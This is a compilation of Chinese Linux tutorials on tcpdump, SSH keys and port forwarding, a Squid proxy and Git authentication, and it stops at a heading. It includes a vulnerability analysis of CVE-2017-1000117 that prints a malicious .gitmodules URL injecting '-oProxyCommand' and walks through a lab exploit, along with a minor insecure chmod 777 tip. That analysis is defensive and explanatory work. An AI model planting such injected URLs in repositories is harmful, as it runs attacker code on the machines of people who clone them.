Linux下tcpdump的使用

若没有安装,则需要安装 yum install tcpdump*

从所有网卡中捕获数据包

运行下面命令来从所有网卡中捕获数据包:

tcpdump -i any

未分类

从指定网卡中捕获数据包

tcpdump -i eth0

未分类

将捕获的包写入文件

使用 -w 选项将所有捕获的包写入文件:

tcpdump -i eth0 -w packets_file

未分类

读取之前产生的 tcpdump 文件

tcpdump -r packets_file

未分类

获取更多的包信息,并且以可读的形式显示时间戳

tcpdump -ttttnnvvS

未分类

查看整个网络的数据包

tcpdump net 192.168.174.0/24

未分类

根据 IP 地址查看报文

要获取指定 IP 的数据包,不管是作为源地址还是目的地址,使用下面命令:

tcpdump host 192.168.174.2

未分类

要指定 IP 地址是源地址或是目的地址则使用:

tcpdump src 192.168.174.128
tcpdump dst 192.168.174.2

或者tcpdump src 192.168.174.128 || dst 192.168.174.2

未分类

查看某个协议或端口号的数据包

tcpdump 协议

ex:tcpdump icmp

未分类

要捕获某个端口或一个范围的数据包,使用:

tcpdump port 80

tcpdump portrange 22-125

未分类

未分类

一次断开连接和简历连接。

我们也可以与 src 和 dst 选项连用来捕获指定源端口或指定目的端口的报文。

我们还可以使用“与” (and,&&)、“或” (or,|| ) 和“非”(not,!) 来将两个条件组合起来。当我们需要基于某些条件来分析网络报文是非常有用。

使用“与”

可以使用 and 或者符号 && 来将两个或多个条件组合起来。比如:

tcpdump src 192.168.174.128 && port 22 -w ssh_packets

“或”会检查是否匹配命令所列条件中的其中一条,像这样:

tcpdump src 192.168.1.174 or dst 192.168.174.2 && port 22 -w ssh_packets

tcpdump port 443 or 80 -w http_packets

“非” 当我们想表达不匹配某项条件时可以使用“非”,像这样:

tcpdump -i eth0 src port not 22

这会捕获 eth0 上除了 22 号端口的所有通讯。

tcpdump常用参数说明

tcpdump常用参数说明

(一)、学习tcpdump的5个参数 初次使用tcpdump时,使用tcpdump -h命令可以看到它有数十个参数。

根据我们在运维工作中的经验,掌握tcpdump以下5个参数即可满足大部分的工作需要了。

❶-i参数。使用-i参数指定需要抓包的网卡。如果未指定的话,tcpdump会根据搜索到的系统中状态为UP的最小数字的网卡确定,一般情况下是eth0。使用-i参数通过指定需要抓包的网卡,可以有效的减少抓取到的数据包的数量,增加抓包的针对性,便于后续的分析工作。

❷-nnn参数。使用-nnn参数禁用tcpdump展示时把IP、端口等转换为域名、端口对应的知名服务名称。这样看起来更加清晰。

❸-s参数。使用-s参数,指定抓包的包大小。使用-s 0指定数据包大小为262144字节,可以使得抓到的数据包不被截断,完整反映数据包的内容。

❹-c参数。使用-c参数,指定抓包的数量。

❺-w参数。使用-w参数指定抓包文件保存到文件,以便后续使用Wireshark等工具进行分析。

(二)、学习tcpdump的过滤器 tcpdump提供了丰富的过滤器,以支持抓包时的精细化控制,达到减少无效信息干扰的效果。我们常用的过滤器规则有下面几个: ❶host a.b.c.d:指定仅抓取本机和某主机a.b.c.d的数据通信。

❷tcp port x:指定仅抓取TCP协议目的端口或者源端口为x的数据通信。

❸icmp:指定仅抓取ICMP协议的数据通信。

❹!:反向匹配,例如port ! 22,抓取非22端口的数据通信。 以上几种过滤器规则,可以使用and或者or进行组合,例如: host a.b.c.d and tcp port x:则只抓取本机和某主机a.b.c.d之间基于TCP的目的端口或者源端口为x的数据通信。 tcp port x or icmp:则抓取TCP协议目的端口或者源端口为x的数据通信或者ICMP协议的数据通信。

(三)、实例:

下面的例子全是以抓取eth0接口为例,如果不加”-i eth0”是表示抓取所有的接口包括lo。

1、抓取包含10.10.10.122的数据包

# tcpdump -i eth0 -vnn host 10.10.10.122

2、抓取包含10.10.10.0/24网段的数据包

# tcpdump -i eth0 -vnn net 10.10.10.0/24

3、抓取包含端口22的数据包

# tcpdump -i eth0 -vnn port 22

4、抓取udp协议的数据包

# tcpdump -i eth0 -vnn  udp

5、抓取icmp协议的数据包

# tcpdump -i eth0 -vnn icmp

6、抓取arp协议的数据包

# tcpdump -i eth0 -vnn arp

7、抓取ip协议的数据包

# tcpdump -i eth0 -vnn ip

8、抓取源ip是10.10.10.122数据包。

# tcpdump -i eth0 -vnn src host 10.10.10.122

9、抓取目的ip是10.10.10.122数据包

# tcpdump -i eth0 -vnn dst host 10.10.10.122

10、抓取源端口是22的数据包

# tcpdump -i eth0 -vnn src port 22

11、抓取源ip是10.10.10.253且目的ip是22的数据包

# tcpdump -i eth0 -vnn src host 10.10.10.253 and dst port 22

12、抓取源ip是10.10.10.122或者包含端口是22的数据包

# tcpdump -i eth0 -vnn src host 10.10.10.122 or port 22

13、抓取源ip是10.10.10.122且端口不是22的数据包

[root@ ftp]# tcpdump -i eth0 -vnn src host 10.10.10.122 and not port 22

14、抓取源ip是10.10.10.2且目的端口是22,或源ip是10.10.10.65且目的端口是80的数据包。

# tcpdump -i eth0 -vnn ( src host 10.10.10.2 and dst port 22 ) or   ( src host 10.10.10.65 and dst port 80 )

15、抓取源ip是10.10.10.59且目的端口是22,或源ip是10.10.10.68且目的端口是80的数据包。

[root@localhost ~]# tcpdump -i  eth0 -vnn 'src host 10.10.10.59 and dst port 22' or  ' src host 10.10.10.68 and dst port 80 '

16、把抓取的数据包记录存到/tmp/fill文件中,当抓取100个数据包后就退出程序。

# tcpdump –i eth0 -vnn -w  /tmp/fil1 -c 100

17、从/tmp/fill记录中读取tcp协议的数据包

# tcpdump –i eth0 -vnn -r  /tmp/fil1 tcp

18、从/tmp/fill记录中读取包含10.10.10.58的数据包

# tcpdump –i eth0 -vnn -r  /tmp/fil1 host  10.10.10.58

Linux SSH免密登陆

此处以Ubuntu(我的虚拟机,此处称为:client)登陆到centos(测试服务器,此处称为server)为例。
这里我们使用jiankunking用户来生成rsa公钥和密钥,命令:

ssh-keygen  -t rsa

如图

未分类

这里我们使用server上的tttt用户来登陆,将client上的公钥拷贝到server /home/tttt/.ssh/other_pub_key目录下,other_pub_key(需要设置下权限,为了测试可以设置为chmod 777 other_pub_key)是我新建的,用来存放client的公钥。

sudo scp /home/jiankunking/.ssh/id_rsa.pub [email protected]:/home/tttt/.ssh/other_pub_key

切换到/home/tttt/.ssh/目录下 将client的公钥追加到server的authorized_keys中

cat ./other_pub_key/id_rsa.pub >> ./authorized_keys

未分类

ssh [email protected] 

搞定。

恶意SSH链接导致的命令执行漏洞分析

SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

一、漏洞介绍

前段时间,三款主流的源版本控制系统Git、Subversion (svn)、Mercurial,发布了更新补丁,修复了一个客户端代码执行漏洞。恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。该漏洞由GitLab的Brian Neel,Recurity Labs的Joan Schneeweiss和GitHub的Jeff King发现和报告。具体详情如下:

漏洞编号:

Git: CVE-2017-1000117

Apache Subversion: CVE-2017-9800

Mercurial: CVE-2017-1000116

攻击者通过精心构造一个”ssh://…”URL链接发送给受害者,如果受害者访问了这个URL,则会导致恶意指令在客户端执行,从而获取主机权限。漏洞利用条件和方式:结合社会工程学远程钓鱼利用

漏洞影响范围:

Git:

Git <v2.7.6
Git v2.8.6
Git v2.9.5
Git v2.10.4
Git v2.11.3
Git v2.12.4
Git v2.13.5

Apache Subversion:

Apache Subversion clients 1.0.0 through 1.8.18 (inclusive)
Apache Subversion clients 1.9.0 through 1.9.6 (inclusive)
Apache Subversion client 1.10.0-alpha3

Mercurial:

Mercurial<4.3

二、漏洞原理分析

恶意人员可以通过巧妙构造“ssh://…”链接,让受害人在执行程序等情况下访问该恶意链接,从而达到命令执行的目的。该链接可以被放在 git项目的.gitmodules文件下,这样当受害人对一个项目进行git clone –recurse-submodules操作时,就会引发安全问题。

如下是我们漏洞环境的.gitmodules文件:

未分类

[submodule "git"]
    path = git
    url = ssh://-oProxyCommand=sh<payload/wat

该漏洞主要由于SSH链接在hostname部分,若是用“-”开头,那么会导致ssh命令将hostname误认为这是一个选项。因此,我们可以利用“-oProxyCommand”选项来达到命令执行的目的。

在进行git clone 时候会调用到git/connect.c中的以下函数:

struct child_process *git_connect(int fd[2], const char *url,const char *prog, int flags)

其接受到的参数url为命令中“git clone xxx://xxxxxxxxxx/xx(.git)”的xxx://xxxxxxxxxx/xx(.git)部分。在该函数中会对传入的这个字符串进行parse,提取其协议部分。在满足协议为ssh://的时候会进入该函数的else部分。

未分类

然后根据下面的流程调用本地的SSH:

未分类

首先获得本地的ssh路径,然后push进conn->args,

然后获得url中ssh_host部分再拼接路径,

最后调用start_command函数进行命令执行。

start_command的定义在git/run-command.c

int start_command(struct child_process *cmd)

未分类

将传入的cmd参数经过处理赋值给argv:

未分类

经过execve这个函数进行命令执行。但是在这个这个命令执行的内容是 “/usr/bin/ssh ssh_host path”而ssh命令的-o参数在一定程度上是可以执行命令的:

例如:

ssh -oProxyCommand=gnome-calculator xxx

将会在本地打开gnome的计算器。

所以如果我们在clone操作的时候将连接指定为:

git clone ssh://-oProxyCommand=gnome-calculator/cert

将取得同样的命令执行的效果。

三、漏洞利用

我们在实验环境为大家准备的项目地址如下:

http://172.16.12.2:8080/root/CVE-2017-1000117

项目里包含的预定义命令在CVE-2017-1000117/payload:id > /var/www/html/vuls:

未分类

首先来查看一下本机GIT版本,使用git –version命令:

未分类

如上,我们看到,本机git版本并非最新版,有可能存在该漏洞。

为了能验证payload是否执行成功,我们要保证本机存在payload中的目录/var/www/html,如果没有,请先创建(mkdir /var/www/html),此目录仅用于漏洞验证:

未分类

接着我们执行以下命令clone项目(实际利用场景有可能是被别有用心之人利用社会工程学欺骗所致):

git clone --recurse-submodules "http://172.16.12.2:8080/root/CVE-2017-1000117.git"

未分类

如上图,可能会有报错,但不影响项目下载和恶意命令的执行:

我们使用ls -al CVE-2017-1000117命令查看该项目被下载到的位置:

未分类

如上可见,该项目被成功下载。

那么,项目里的预定义的命令id > /var/www/html/vuls有没有被执行呢?我们使用ls -al /var/www/html/vuls命令验证是否生成文件:

未分类

如上,文件成功生成。

使用cat命令查看该文件,查看命令执行结果:

未分类

如上图可见,项目里的预定义命令被成功执行。

四、漏洞修复

Git官方已经对该漏洞进行了修复。在v2.14.1的commit中,可以看到git_connect函数中执行之前对ssh_host进行了验证:

未分类

验证内容为新增的这个函数:

未分类

该函数对ssh_host的第一个字符进行了校验防止为”-”的情况抑制了向ssh传递参数的情况

并且在多处对传入的host,port都做了该函数的过滤。

用户只需要检查是否使用受影响范围内的版本,如果是,升级Git即可。

漏洞修复建议

Git:升级到Git v2.14.1版本

Apache Subversion:升级到Subversion 1.8.19、 Subversion 1.9.7版本

Mercurial:升级到Mercurial 4.3 and 4.2.3.版本

构建Squid代理服务器

Squid(Squid cache,简称Squid)是Linux系统中最常用的一款开源代理服务软件,可以很好地实现HTTP和FTP,以及DNS查询、SSL等应用的缓存代理,功能十分强大,本篇博客详细介绍了传统代理、透明代理,squid日志分析的配置。squid的官方网站为http://www.squid-cache.org

Squid代理的工作机制

Squid是一个缓存Internet数据的一个软件,它接收用户的下载申请,并自动处理所下载的数据。也就是说,当一个用户想要下载一个主页时,它向Squid发出一个申请,要Squid替它下载,然后Squid 连接所申请网站并请求该主页,接着把该主页传给用户同时保留一个备份,当别的用户申请同样的页面时,Squid把保存的备份立即传给用户,减少了向Internet提交重复的Web请求的过程,提高了用户下载网页的速度,隐藏了客户机的真实IP,如下图所示:

未分类

安装Squid软件

下面以Squid 3.4.6版为例,介绍其安装和运行控制

1. 编译安装Squid

[root@localhost ~]# tar zxf squid-3.4.6.tar.gz -C /usr/src/
[root@localhost ~]# cd /usr/src/squid-3.4.6/      //配置前可参考"./configure --help"给出的说明
[root@localhost squid-3.4.6]# ./configure --prefix=/usr/local/squid     //安装目录
--sysconfdir=/etc/                              //单独将配置文件修改到/etc目录下
--enable-arp-acl                                //可在ACL中设置通过MAC地址进行管理,防止IP欺骗
--enable-linux-netfilter                        //使用内核过滤
--enable-linux-tproxy                           //支持透明模式
--enable-async-io=100                           //异步I/O,提升储存性能,值可修改
--enable-err-language="Simplify_Chinese"        //错误信息的显示语言
--enable-underscore                             //允许URL中有下划线
--enable-poll                                   //使用Poll()模式,提升性能
--enable-gnuregex                               //使用GNU正则表达式

[root@localhost squid-3.4.6]# make && make install     //编译安装
[root@localhost squid-3.4.6]# cd ~                      
[root@localhost ~]# ln -s /usr/local/squid/sbin/* /usr/local/sbin/  //创建链接文件,优化路径
[root@localhost ~]# useradd -M -s /sbin/nologin squid               //创建程序用户、组
[root@localhost ~]# chown -R squid:squid /usr/local/squid/var/

2. 修改Squid的配置文件

[root@localhost ~]# vim /etc/squid.conf
http_port 3128                     //指定监听地址和端口,默认端口3128
cache_effective_user squid         //用来设置初始化、运行时缓存的账号,否则启动不成功
cache_effective_group squid        //默认为指定账号的基本组
cache_dir ufs /usr/local/squid/var/cache/squid 100 16 256  //此行去掉注释,最大缓存100MB文件,16个一级文件目录,256个二级文件目录

[root@localhost ~]# squid -k parse                    //检查语法是否正确
[root@localhost ~]# squid -z                          //初始化缓存目录
[root@localhost ~]# squid                             //启动squid服务
[root@localhost ~]# netstat -anpt | grep squid        //确认squid服务处于正常监听状态
tcp        0      0 :::3128            :::*               LISTEN      40936/(squid-1)

3. 编写Squid服务脚本

为了使Squid服务的启动、停止、重载等操作更加方便,可以编写Squid服务脚本,并使用chkconfig和service工具来进行管理

[root@localhost ~]# vim /etc/init.d/squid 
#!/bin/bash
# chkconfig: 2345 90 25
# config: /etc/squid.conf
# pidfile: /usr/local/squid/var/run/squid.pid
# Description: Squid - internet object cache.
PID="/usr/local/squid/var/run/squid.pid"
CONF="/etc/squid.conf"
CMD="/usr/local/squid/sbin/squid"
case "$1" in
start)
  netstat -anpt | grep squid &> /dev/null
  if [ $? -eq 0 ]
  then
    echo "squid is running"
  else
    echo "正在启动squid..."
    $CMD
  fi
;;
stop)
 $CMD -k kill &> /dev/null
  rm -fr $PID &> /dev/null
;;
status)
  [ -f $PID ] &> /dev/null
  if [ $? -eq 0 ]
  then
    netstat -anpt | grep squid
  else
    echo "squid is not running."
  fi
;;
restart)
  $0 stop &> /dev/null
  echo "正在关闭squid..."
  $0 start &> /dev/null
  echo "正在启动squid..."
;;
reload)
  $CMD -k reconfigure
;;
check)
  $CMD -k parse
;;
*)
  echo "用法:$0 {start | stop | restart | reload | check | status}"
;;
esac

[root@localhost ~]# chmod +x /etc/init.d/squid   
[root@localhost ~]# chkconfig --add squid       //添加为系统服务
[root@localhost ~]# chkconfig squid on

构建代理服务器

根据实现方式的不同,代理服务可分为传统代理和透明代理

传统代理:适用于Internet,必需在客户机手动设置代理服务器的地址和端口

透明代理:适用于局域网环境,客户端不需要指定代理服务器的地址和端口

1. 传统代理

使用传统代理的特定在于,客户机的相关程序(如IE浏览器、QQ)必须指定代理服务器的地址、端口等信息,下面通过一个案例来配置和使用传统代理

未分类

案例:如上图所示,在服务器B上构建Squid代理服务器,允许客户机C指定服务器B作为Web代理,访问网站服务器,但禁止通过代理下载超过10MB的文件,超过4MB的文件不进行缓存

(1)配置服务器A(Web服务器)

[root@localhost ~]# yum -y install httpd              //安装httpd服务
[root@localhost ~]# echo www.yangshufan.com > /var/www/html/index.html  //制作测试网页
[root@localhost ~]# /etc/init.d/httpd start                             //开启httpd服务
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -j ACCEPT       //允许Web流量访问

(2)配置服务器B(Squid服务器)

[root@localhost ~]# vim /etc/squid.conf     //修改squid配置文件
reply_body_max_size 10 MB                   //禁止下载的超过10MB的文件
maximum_object_size 4096 KB                 //超过4MB的文件不进行缓存
http_access deny all                        //前面两行需要放在这行之上才生效

[root@localhost ~]# iptables -I INPUT  -p tcp --dport 3128 -j ACCEPT  
[root@localhost ~]# service iptables save                     //允许squid流量通过
iptables:将防火墙规则保存到 /etc/sysconfig/iptables:     [确定]
[root@localhost ~]# service squid reload                      //重载squid服务

(3)配置客户机C(代理配置)

打开IE浏览器,依次选择“工具”、“Internet选项”、“连接”“局域网设置”,如下图所示:

未分类

未分类

(4)验证代理服务是否发挥作用

1)查看Squid访问日志的新增记录

[root@localhost ~]# tail /usr/local/squid/var/logs/access.log  //可以看到客户机C访问Web服务器的记录
1515630849.964     10 192.168.1.30 TCP_MISS/200 380 GET http://192.168.1.1/ - HIER_DIRECT/192.168.1.1 text/html
1515630850.113      1 192.168.1.30 TCP_MISS/404 561 GET http://192.168.1.1/favicon.ico - HIER_DIRECT/192.168.1.1 text/html

2)查看Web访问日志的新增记录

[root@localhost ~]# tail /var/log/httpd/access_log //可以看到来自Squid服务器的访问记录,Squid服务器代替客户机C访问Web服务器      
192.168.1.10 - - [11/Jan/2018:08:34:18 +0800] "GET /favicon.ico HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 6.1;WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"

当客户机再次访问同一页面时,Squid访问日志会增加新的记录,而Web访问日志的记录不会变化(除非页面变更或强制刷新等操作)。这说明当客户机访问同一静态页面时,实际上是由代理服务器通过缓存提供的

2. 透明代理

透明代理的提供的功能和传统代理是一致的,但其依赖于默认路由和防火墙的重定向策略,因此更适用于局域网,而不适用于Internet中的客户机,下面也通过一个案例来配置和使用透明代理

未分类

案例:在Linux网关上构建Squid为客户机访问Internet提供代理服务,在客户机上设置IP地址、默认网关,不需要指定代理服务器的地址、端口等信息

(1)配置网站服务器

前面的案例配置一样,就不在赘述了

(2)配置Squid服务器

[root@localhost ~]# vim /etc/squid.conf          //启用透明代理,后面加一个transparent,但3.x版本后改为intercept
http_port 192.168.1.1:3128 transparent           //修改此项,只在这个IP地址提供代理服务
[root@localhost ~]# service squid reload         //重载服务

[root@localhost ~]# vim /etc/sysctl.conf         //启用路由转发功能
net.ipv4.ip_forward = 1
[root@localhost ~]# sysctl -p                    //立即生效
[root@localhost ~]# iptables -t nat -I PREROUTING -i eth1 -s 192.168.1.0/24 -p tcp --dport 80 -j REDIRECT --to 3128
[root@localhost ~]# service iptables save                          //将80端口转到3128端口,有透明代理访问网站服务器     
iptables:将防火墙规则保存到 /etc/sysconfig/iptables:     [确定]

(3)在客户机上验证

在IE浏览器设置中,不要勾选使用代理服务器,直接访问访问http://172.16.16.172,然后观察Squid服务器、Web服务器的访问日志,验证透明代理是否发生作用,和前面案例的方法一样,就不在赘述了

由于FTP协议涉及多个端口,多个连接,使用透明代理不便实现,因此最佳做法是采用传统代理的方式实现

ACL访问控制

Squid提供了强大的代理控制机制,通过合理设置ACL并进行控制,可以针对源地址、目标地址、URL路径、访问时间等各种条件进行设置

ACL访问控制通过以下两个步骤来实现:

(1)使用acl配置项定义需要控制的条件
(2)通过http_access配置项对已定义的条件做限制,如“允许”或“拒绝”

1. 定义acl配置项

每一行acl配置可以定义一条访问控制列表,格式如下:

acl  列表名称   列表类型   列表内容

其中,
列表名称:由管理员自行指定,用来识别控制条件
列表类型:必须使用Squid预定义的值,对应不同类别的控制条件
列表内容:具体控制的对象,不同的类型对应的内容也不一样,可以有多个值,用空格分隔

下面是一些常用的访问控制列表类型:

未分类

例如:针对不同的客户机地址、时间段等,分别定义列表

[root@localhost ~]# vi /etc/squid.conf
……
acl mylan src 192.168.1.0/24 192.168.4.0/24     //客户机网段
acl worktime time MTWHF 08:30-17:30             //周一至周五的工作时间段
acl to_host dst 127.0.0.0/8                     //目标地址
acl mc20  maxconn  20                           //最大并发连接20
acl blackURL  url_regex -i ^rtsp://  ^ emo://    //以rtsp://等开头的URL
acl fileURL  urlpath_regex -i .mp3$ .mp4$      //以.mp3、.mp4结尾的URL路径

#当需要限制的同一类型较多时,可以用独立的文件来存放

[root@localhost ~]# mkdir /etc/squid        //建立目标地址名单
[root@localhost ~]# cd /etc/squid
[root@localhost squid]# vim ipblock.list    //建立目标IP地址名单
89.23.12.34
191.12.37.112
171.23.65.0/24
[root@localhost squid]# vim dmblock.list    //建立目标域地址名单
.qq.com
.ysf.com
.yang.com
[root@localhost squid]# vim /etc/squid.conf            
acl ipblock dst "/etc/squid/ipblock.list"       //调用指定文件的列表内容
acl dmblock dstdomain "/etc/squid/dmblock.list"

2. 设置访问权限

定义好acl后,需要设置访问权限,并必须防止对应的acl配置项之后,格式如下:

http_access   deny或allow   列表名

例如:对应上面的acl配置设置相应的访问权限

[root@localhost ~]# vi /etc/squid.conf
……
http_access allow mylan !fileURL      //!取反值,表示禁止客户机下载MP3、MP4文件
http_access allow mylan worktime safeport !ipblock !dmblock
              //允许客户机在工作时间访问80、443端口,拒绝访问黑名单的IP地址、域
http_access deny all                 //默认禁止所有客户机使用代理

[root@localhost squid]# service squid reload     //重载服务,使配置生效

3. 验证访问控制效果

(1)在网站服务器上添加一个以.MP3结尾的文件

[root@localhost squid]# echo yangshufan > /var/www/html/ysf.mp3 
[root@localhost squid]# cat /var/www/html/ysf.mp3 
yangshufan

(2)在客户机上验证是否可以访问这个文件

未分类

Squid日志分析

Sarg全名是Squid Analysis Report Generator,是一款Squid日志分析工具,采用HTML格式,详细列出每一位用户访问Internet的站点信息、时间占用信息、排名、连接次数、访问量等

1. 配置过程如下

[root@localhost ~]# yum -y install gd gd-devel
[root@localhost ~]# tar zxf sarg-2.3.7.tar.gz
[root@localhost sarg-2.3.7]# ./configure --prefix=/usr/local/sarg//安装目录
--sysconfdir=/etc/sarg                                       //配置文件目录
--enable-extraprotection && make && make install       //添加额外的安全保护

[root@localhost sarg-2.3.7]# cd /etc/sarg/
[root@localhost sarg]# vim sarg.conf                    //修改配置文件,去掉#
access_log /usr/local/squid/var/logs/access.log   //指定Squid的访问日志文件        
title "Squid User Access Reports"                 //网页标题
output_dir /var/www/html/sarg                     //sarg报告的输出目录
user_ip no                                        //使用用户名显示
topuser_sort_field BYTES reverse //降序排列指定连接次数、访问字节数,升序换成normal
user_sort_field BYTES reverse    //降序排列用户访问记录、连接次数
overwrite_report no                      //当那么日期时间报告已存在,是否覆盖报告
mail_utility mailq.postfix               //发送邮件报告的命令
exclude_hosts /usr/local/sarg/noreport   //指定不计入排列的站点目录
charset UTF-8                            //使用字符集
weekdays 0-6                             //指定top排列的星期,0为周日
hours 7-12,14,16,18-20                   //指定top排列的时间周期
www_document_root /var/www/html          //网页根目录

[root@localhost sarg]# touch /usr/local/sarg/noreport  //把不计入站点的文件添加到文件
[root@localhost sarg]# ln -s /usr/local/sarg/bin/sarg /usr/local/bin/      //优化路径
[root@localhost sarg]# sarg                       //启动一次记录
SARG: 纪录在文件: 171, reading: 100.00%
SARG: 成功的生成报告在 /var/www/html/squid-reports/2018Jan11-2018Jan11

2. 验证

未分类

3. 设置计划任务,定期执行

[root@localhost ~]# vim /usr/local/sarg/ysf.sh         //编写脚本,每天的报告
#/bin/bash                                  
today=$(date +%d/%M/%Y)
terday=$(date -d "1 day ago" +%d/%m/%Y)
/usr/local/sarg/bin/sarg -l /usr/local/squid/var/logs/access.log -o /var/www/html/sarg -z -d $terday-$today &> /dev/null
exit 0

[root@localhost ~]# chmod +x /usr/local/sarg/ysf.sh 
[root@localhost ~]# crontab -e              //每天00:00执行
00 00 * * * /usr/local/sarg/ysf.com
[root@localhost ~]# chkconfig crond on

通过实例学习 tcpdump 命令

tcpdump 是一个很常用的网络包分析工具,可以用来显示通过网络传输到本系统的 TCP/IP 以及其他网络的数据包。tcpdump 使用 libpcap 库来抓取网络报,这个库在几乎在所有的 Linux/Unix 中都有。

tcpdump 可以从网卡或之前创建的数据包文件中读取内容,也可以将包写入文件中以供后续使用。必须是 root 用户或者使用 sudo 特权来运行 tcpdump。

在本文中,我们将会通过一些实例来演示如何使用 tcpdump 命令,但首先让我们来看看在各种 Linux 操作系统中是如何安装 tcpdump 的。

推荐阅读:使用 iftop 命令监控网络带宽

安装

tcpdump 默认在几乎所有的 Linux 发行版中都可用,但若你的 Linux 上没有的话,使用下面方法进行安装。

CentOS/RHEL

使用下面命令在 CentOS 和 RHEL 上安装 tcpdump,

$ sudo yum install tcpdump*

Fedora

使用下面命令在 Fedora 上安装 tcpdump:

$ dnf install tcpdump

Ubuntu/Debian/Linux Mint

在 Ubuntu/Debain/Linux Mint 上使用下面命令安装 tcpdump:

$ apt-get install tcpdump

安装好 tcpdump 后,现在来看一些例子。

案例演示

从所有网卡中捕获数据包

运行下面命令来从所有网卡中捕获数据包:

$ tcpdump -i any

从指定网卡中捕获数据包

要从指定网卡中捕获数据包,运行:

$ tcpdump -i eth0

将捕获的包写入文件

使用 -w 选项将所有捕获的包写入文件:

$ tcpdump -i eth1 -w packets_file

读取之前产生的 tcpdump 文件

使用下面命令从之前创建的 tcpdump 文件中读取内容:

$ tcpdump -r packets_file

获取更多的包信息,并且以可读的形式显示时间戳

要获取更多的包信息同时以可读的形式显示时间戳,使用:

$ tcpdump -ttttnnvvS

查看整个网络的数据包

要获取整个网络的数据包,在终端执行下面命令:

$ tcpdump net 192.168.1.0/24

根据 IP 地址查看报文

要获取指定 IP 的数据包,不管是作为源地址还是目的地址,使用下面命令:

$ tcpdump host 192.168.1.100

要指定 IP 地址是源地址或是目的地址则使用:

$ tcpdump src 192.168.1.100
$ tcpdump dst 192.168.1.100

查看某个协议或端口号的数据包

要查看某个协议的数据包,运行下面命令:

$ tcpdump ssh

要捕获某个端口或一个范围的数据包,使用:

$ tcpdump port 22
$ tcpdump portrange 22-125

我们也可以与 src 和 dst 选项连用来捕获指定源端口或指定目的端口的报文。

我们还可以使用“与” (and,&&)、“或” (or,|| ) 和“非”(not,!) 来将两个条件组合起来。当我们需要基于某些条件来分析网络报文是非常有用。

使用“与”

可以使用 and 或者符号 && 来将两个或多个条件组合起来。比如:

$ tcpdump src 192.168.1.100 && port 22 -w ssh_packets

使用“或”

“或”会检查是否匹配命令所列条件中的其中一条,像这样:

$ tcpdump src 192.168.1.100 or dst 192.168.1.50 && port 22 -w ssh_packets
$ tcpdump port 443 or 80 -w http_packets

使用“非”

当我们想表达不匹配某项条件时可以使用“非”,像这样:

$ tcpdump -i eth0 src port not 22

这会捕获 eth0 上除了 22 号端口的所有通讯。

我们的教程至此就结束了,在本教程中我们讲解了如何安装并使用 tcpdump 来捕获网络数据包。

https://orzyt.cn/posts/ssh-port-forwarding/

SSH有三种端口转发模式,本地端口转发(Local Port Forwarding),远程端口转发(Remote Port Forwarding)以及动态端口转发(Dynamic Port Forwarding)。本文只简单介绍本地端口转发,用于实现本机访问远程服务器上的jupyter notebook、TensorBoard等服务。

什么是本地端口转发?

所谓本地端口转发,就是将发送到本地端口的请求,转发到目标端口。这样,就可以通过访问本地端口,来访问目标端口的服务。

$ ssh -h
unknown option -- h
usage: ssh [-1246AaCfGgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]
           [-D [bind_address:]port] [-E log_file] [-e escape_char]
           [-F configfile] [-I pkcs11] [-i identity_file] [-L address]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]
           [-w local_tun[:remote_tun]] [user@]hostname [command]

需要用到的命令是ssh -L address user@hostname
其中,address的具体语法为 [bind_address:]port:host:hostport ,即 [本地主机地址:]本地端口:目标地址:目标端口

应用场景 — 以 jupyter notebook 为例

由于服务器上一般是没有安装桌面的,所以像jupyter notebook、TensorBoard等服务是无法直接通过服务器上的浏览器来访问。因此,我们需要采取ssh的本地端口转发方式,从而通过访问本地端口,来访问服务器上目标端口的服务。

首先,在服务器上运行jupyter notebook

会发现有一个黄色的 warning: No web browser found: could not locate runnable browser. (说明服务器上是无法打开的)

然后,我们记下端口号(8008)以及 token(链接中?token=后面一长串的字符,用于登录认证)

接着,执行以下命令进行本地端口转发

# f: 后台执行命令
# N: 不进行实际连接,而仅做端口转发
# 本地主机地址可省略,本地端口号随意填,远程端口号为上述的8008
ssh -fNL 本地端口号:localhost:远程端口号 username@serverAddress

最后,在本机打开地址localhost:本地端口号 输入token后即可访问服务器上的 jupyter notebook

未分类

Git鉴权方式SSH key和用户名密码

Git的鉴权方式分为 ssh 和 https,ssh 需要使用 ssh 秘钥,而https需要使用用户名和密码。有时候会每次提交都需要输入用户名和密码,下面介绍相关的Windows平台Git鉴权操作。

概述

使用Git之前需要安装 Git-bash 并且把它加到环境变量,git-bash下载地址(https://git-scm.com/downloads)。

如果使用的是 git-desktop,安装的时候会自带 git-bash,需要配置到环境变量,它的地址一般在:

C:Users用户名AppDataLocalGitHubPortableGit,

在GitHub文件夹下搜索 git.exe 可以快速找到位置。一般是Portable_XXX文件夹下的cmd目录下面,有 git.exe, git-gui.exe。

在 git-bash 终端,使用 cd 命令可以跳转目录,注意这儿跳转目录的格式为:

$ cd /g/Projects/sdk_plugin

其中盘符为 G ,对于交互界面,可以直接拖动文件夹到 git-bash 中,会自动转成相应的文件夹路径。

对于某个项目,git clone 之后,在当前项目会拉取源代码,注意默认隐藏的 .git 文件夹,该文件夹下面有 config 文件,里面有关于该项目的配置。

另外需要配置项目的用户名和邮箱,这会用作提交代码的用户名和邮箱记录。

$ git config --global user.name "uusama"
$ git config --global user.email "[email protected]"

关于鉴权方式

git clone 的地址有下面两种

  • https: https://github.com/用户名/GitProject.git
  • ssh: [email protected]:用户名/GitProject.git

如果是 gitlab 内网服务端,这对应的 https 开头的地址或者 git 开头的地址。

第一种方式为 http 方式,需要提供用户名和密码,第二种方式是 ssh 方式,需要配置 ssh 的 RSA 秘钥。

可以通过修改项目的git配置文件: .git/config 中的url部分,从而改变鉴权方式。

[remote "origin"]
    url = https://github.com/youyouzh/admin.git
    fetch = +refs/heads/*:refs/remotes/origin/*

生成Git SSH秘钥

